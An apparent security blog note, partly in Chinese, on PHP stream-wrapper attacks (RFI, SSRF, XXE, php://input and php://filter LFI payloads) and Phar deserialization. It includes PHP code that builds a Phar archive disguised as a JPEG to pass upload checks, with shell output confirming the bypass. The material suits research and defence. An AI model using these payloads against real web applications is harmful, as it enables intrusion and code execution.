PHP Wrappers and Phar notes

PHP Wrappers

Remote

  1. file://
  2. http://
  3. ftp://
  4. data://
  • RFI
    include($_GET[‘module’]);
  • SSRF
    file_get_contents($_GET[‘url’]);
  • XXE
    <! ENTITY xxe SYSTEM “http://example.com”>

*allow_url_fopen=true

Input & Filtering

  • LFI

    • LFI -> From STDIO:
      php://input
    • LFI -> Source code reading:
      php://filter/convert.base64-encode/resource=index.php
  • File writing

    • Similar to source code reading, if we have a file write vulnerability which writes undesirable content (e.g. “<?php exit()” before our controlled value) we can base64 decode it[3].

Directory Listing

  • glob://

Fhjtzj55Dker-UkroNVoL4dSBj_-

Archive

  • zip://
  • phar://

One More Thing

Ingredients of all Phar archives, independent of file format

All Phar archives contain three to four sections:

  • a stub
    • A Phar's stub is a simple PHP file.
      The smallest possible stub follows:
      <?php __HALT_COMPILER();
      A stub must contain as a minimum, the __HALT_COMPILER(); token at its conclusion. Typically, a stub will contain loader functionality like so:
<?php
Phar::mapPhar();
include 'phar://myphar.phar/index.php';
__HALT_COMPILER();

其中需要注意的是,stub的内容除了必须以__HALT_COMPILER();?>结尾之外没有其他限制。

  • a manifest describing the contents
    • The phar file format is literally laid out as stub/manifest/contents/signature, and stores the crucial information of what is included in the phar archive in its manifest.
      FrN4wUH29haM7IIt6a0ywaCeiGPq
      其中,倒数第二部分为一段序列化内容。
  • the file contents
  • [optional] a signature for verifying Phar integrity (phar file format only)

http://us3.php.net/manual/en/phar.fileformat.ingredients.php
FhkEAG5O7lPvF1rVOm3PPbQ-lXPi
Fk061EQdD7NcSYyCEKNJX0LtijB_
FjrDY_AhkG414cd2gUkSfOeDC29o
将file_get_contents换为file_exists/is_dir等文件系统函数时,仍可达到效果,并且与test.txt文件是否存在无关。

Basic Attack Methodology

上传并包含文件。
需要注意的是,只能触发__destruct和__wakeup,以及phar文件必须绝对路径访问。
wordpress example:https://paper.seebug.org/680/

Disguise Phar Packages As Images

  • one step
<?php
class TestObject {}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
xx:~$ file phar.jpeg 
phar.jpeg: JPEG image data
xx:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
  • and then
xx:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)

补全其他信息

<?php
class TestObject {}

$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
xx:~$ file phar.jpeg 
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
xx:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
  [0] =>
  int(10)
  [1] =>
  int(10)
  [2] =>
  int(2)
  [3] =>
  string(22) "width="10" height="10""
  'bits' =>
  int(8)
  'channels' =>
  int(3)
  'mime' =>
  string(10) "image/jpeg"
}
  • 基于BlackHat总结此笔记,添加部分其他内容及积累的笔记,引用部分内容未能完全理解,如有错误请指出。

Refer

1.DISGUISE PHAR PACKAGES AS IMAGES
2.BlackHat2018
3.php-filter-magic -- Phithon
4.PHP: Supported Protocols and Wrappers

作者:xmsec
Chief Water dispenser Manager, delivering but striving.
GitHub